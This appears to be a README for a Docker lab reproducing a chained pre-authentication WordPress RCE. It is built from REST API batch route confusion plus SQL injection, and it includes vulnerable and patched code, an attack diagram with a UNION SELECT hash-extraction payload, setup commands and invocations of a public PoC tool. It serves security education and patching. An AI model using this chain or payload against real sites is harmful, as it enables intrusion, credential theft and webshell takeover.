CVE-2026-63030 — wp2shell Lab

Pre-Authentication RCE in WordPress Core via REST API Batch Route Confusion + SQL Injection

Overview

wp2shell is a chain of two independently low-severity bugs in WordPress core that, when combined, allow an unauthenticated remote attacker to:

1. Reach an SQL injection sink with no credentials
2. Extract the admin password hash from the database
3. Create a new administrator account
4. Upload a webshell and achieve full Remote Code Execution

Property	Detail
CVEs	CVE-2026-63030 + CVE-2026-60137
CVSS	9.8 Critical
Auth required	None (pre-authentication)
Attack vector	Network
Affected versions	WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1
Patched versions	6.9.5 and 7.0.2 (released July 17, 2026)

---

The Two Bugs

CVE-2026-63030 — REST API Batch Route Confusion

File: wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() maintains two parallel arrays: $matches[] for handlers and $validation[] for results. When a sub-request fails with a WP_Error (broken path), it is pushed into $validation[] but not into $matches[]. This creates a +1 index shift — sub-request i gets dispatched with the handler for sub-request i+1.

// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — SQL Injection in WP_Query

File: wp-includes/class-wp-query.php

The author__not_in parameter expects an array of integers. When passed a string, implode() concatenates the raw value directly into the SQL WHERE clause — no escaping, no parameterization.

// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

---

Attack Chain

Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

---

Lab Setup

Prerequisites

Tool	Download
Docker Desktop (Windows / macOS)	https://www.docker.com/products/docker-desktop
Docker Engine (Linux)	https://docs.docker.com/engine/install
Git	https://git-scm.com/downloads
Burp Suite Community (optional)	https://portswigger.net/burp/communitydownload

---

Step 1 — Clone the repository

git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

You will see these files:

cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

---

Step 2 — Build and start the lab

docker compose up -d --build

This will:

• Build the custom WordPress 7.0.1 image (takes ~1–2 min on first run)
• Start a MySQL 8.0 database container
• Expose WordPress on http://localhost:9090

Verify both containers are running:

docker compose ps

Expected output:

NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

---

Step 3 — Complete WordPress installation

Open http://localhost:9090 in your browser and fill in:

Field	Suggested value
Site Title	CVE-2026-63030
Username	admin
Password	any password
Email	[email protected]

Click Install WordPress, then log in.

---

Step 4 — Enable REST API routing (required)

Run this once after installation:

Linux / macOS:

docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Expected output:

Success: Rewrite structure set.
Success: Rewrite rules flushed.

---

Step 5 — Fix .htaccess (Windows only, if you get 404 on REST API)

.\fix-htaccess.ps1

---

Step 6 — Verify the lab is ready

curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

If you see a JSON response with "namespaces" — the lab is ready.

---

Teardown

# Stop and remove everything including database
docker compose down -v

---

Exploitation (PoC)

⚠️ For authorized security research and education only. Only use against systems you own or have explicit written permission to test.

The full exploitation chain (detection → SQLi → admin creation → webshell → RCE) is implemented in:

github.com/Icex0/wp2shell-poc

git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

---

The Patch

Three files, fewer than 10 lines of PHP:

File	Change
class-wp-rest-server.php	$matches[] = null placeholder to keep arrays in sync
class-wp-query.php	(array) cast + array_map('absint', ...)
class-wp-rest-posts-controller.php	Same sanitization at the REST layer

Update to WordPress 6.9.5 or 7.0.2 to remediate.

---

References

Resource	Link
GitHub Advisory (CVE-2026-63030)	GHSA-ff9f-jf42-662q
GitHub Advisory (CVE-2026-60137)	GHSA-fpp7-x2x2-2mjf
Public PoC	https://github.com/Icex0/wp2shell-poc

---